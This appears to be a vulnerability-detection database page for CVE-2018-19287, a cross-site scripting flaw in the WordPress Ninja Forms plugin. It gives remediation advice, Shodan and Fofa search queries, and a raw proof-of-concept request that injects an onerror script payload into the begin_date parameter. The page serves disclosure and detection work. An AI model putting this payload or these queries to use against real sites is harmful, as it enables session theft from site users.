🔙 목록으로 돌아가기

CVE-2018-19287: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting

TitleWordPress Ninja Forms <3.3.18 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.07673
CVE IDCVE-2018-19287
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/ninja-forms/
Fofa Querybody=/wp-content/plugins/ninja-forms/
Tags cve cve2018 wp-plugin wp xss authenticated wpscan edb ninja-forms wordpress ninjaforma vuln

🔍 Vulnerability Description

WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=6TL4x4&pwd=RK1JK9&wp-submit=Log+In
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19287.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19287.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A